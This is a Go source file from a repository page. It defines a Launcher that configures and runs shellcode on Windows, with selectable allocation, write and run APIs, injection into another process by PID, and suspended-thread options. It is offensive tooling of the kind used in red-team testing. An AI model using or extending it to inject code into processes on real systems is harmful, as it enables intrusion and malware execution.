-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathlauncher.go
112 lines (90 loc) · 2.19 KB
/
launcher.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
package runsc
import "github.com/mjwhitta/errors"
// Launcher is a struct containing configuration options for running
// shellcode.
type Launcher struct {
alloc AllocMethod
pid uint32
run RunMethod
suspend bool
write WriteMethod
}
// New will return a pointer to a new Launcher instance.
func New() *Launcher {
return &Launcher{}
}
// AllocVia will set the Windows API to be used for allocating memory.
func (l *Launcher) AllocVia(a AllocMethod) *Launcher {
l.alloc = a
return l
}
// Exe will execute the shellcode using the Launcher as it's
// configured.
func (l *Launcher) Exe(sc []byte) error {
var e error
var s *state
if e = l.validate(sc); e != nil {
return e
}
if s, e = initState(l, sc); e != nil {
return e
}
if s, e = allocMethods[l.alloc](s); e != nil {
return e
}
if s, e = writeMethods[l.write](s, sc); e != nil {
return e
}
if _, e = runMethods[l.run](s); e != nil {
return e
}
return nil
}
// InPID will set the PID, causing the Launcher to execute shellcode
// within the specified process.
func (l *Launcher) InPID(pid uint32) *Launcher {
l.pid = pid
return l
}
// InSelf will set the PID to 0, causing the Launcher to execute
// shellcode within its own process.
func (l *Launcher) InSelf() *Launcher {
l.pid = 0
return l
}
// RunVia will set the Windows API to be used for running shellcode.
func (l *Launcher) RunVia(r RunMethod) *Launcher {
l.run = r
return l
}
// Suspend will set new threads to be suspended when running
// shellcode.
func (l *Launcher) Suspend(s ...bool) *Launcher {
if len(s) == 0 {
l.suspend = true
} else {
l.suspend = s[0]
}
return l
}
func (l *Launcher) validate(sc []byte) error {
if len(sc) == 0 {
return errors.New("no shellcode provided")
}
if _, ok := allocMethods[l.alloc]; !ok {
return errors.New("invalid allocation method provided")
}
if _, ok := writeMethods[l.write]; !ok {
return errors.New("invalid write method provided")
}
if _, ok := runMethods[l.run]; !ok {
return errors.New("invalid run method provided")
}
return nil
}
// WriteVia will set the Windows API to be used for writing shellcode
// to memory.
func (l *Launcher) WriteVia(w WriteMethod) *Launcher {
l.write = w
return l
}